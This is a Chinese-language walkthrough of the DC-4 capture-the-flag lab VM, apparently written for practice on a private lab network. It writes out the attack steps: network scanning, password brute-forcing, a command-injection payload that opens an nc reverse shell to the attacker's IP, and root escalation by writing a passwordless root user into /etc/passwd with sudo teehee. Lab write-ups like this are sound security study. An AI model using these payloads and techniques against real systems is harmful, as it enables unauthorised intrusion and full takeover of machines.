1.靶场搭建
镜像地址：https://www.five86.com/dc-4.html
Kali ip :192.168.1.162
目标主机：192.168.1.105
然后导入Vmware即可。
2.信息搜集
用 arp-scan -l 扫描同网段的其他IP地址，从而得到目的主机的IP。
端口信息搜集
使用到 nmap进行端口信息的搜集；
nmap -A -sV 192.168.1.105
可见，该主机开启了80，22端口，对应http服务和ssh服务。
3.漏洞利用
在浏览器中访问 192.168.1.105 ；浏览器页面会产生响应。
是一个后台管理登录的弹框，用户名就是admin；因此，此处需要爆破出admin账号的密码。
最后，用burp的测试模块功能，使用字典爆破出密码为 happy。
于是，账号：admin;吗，密码：happy，就可登录后台。
登录后台，发现是一个可以执行命令的选项功能窗口。
根据以往经验，由于存在命令执行，便可在此处进行shell反弹；
抓包，修改数据；
radio=nc 192.168.1.162 1234 -e /bin/bash&submit=Run
修改之后，并且监听端口，nc -lvvp 1234；反弹shell
然后用python打开一个标准的shell；这点不清楚为什么要这样说！
python -c 'import pty;pty.spawn("/bin/bash")'
切换到home目录下，查看用户信息；
ps:中途有错误，请忽略！
在这个目录下，存在一个.bak后缀的文件，这个是一个备份文件。
继续打开，是一些简单的经典密码；
将以上历史密码保存下来，用户名为jim；开始ssh的爆破。
得到用户名为 jim；密码为： jibril04；进行ssh登录；
登录成功，并且提示 you have mail；肯定有猫腻。
su root 无法进行权限的提升，提示密码错误。
果不其然，找到了这个秘密！
提权
切换用户为 charles；
可以看到，teehee可以不使用密码就进行命令的执行；不妨试一试以这个来提权，前面也用到了docker进行提权，这个应该也可以。
查看帮助：
使用命令可以将标准输入写入到指定文件中（以root权限写入文件内容）；
既然可以以root权限写入任意文件信息，那么我们就可以利用各种骚操作进行提权了；
eg. 在 /etc/passwd/ 下写入一个具有 root 权限的新用户。
sudo teehee -aa /etc/passwd
aa::0:0:root:/root:/bin/bash
总结：
1.使用teehee进行提权
2.hydra 工具爆破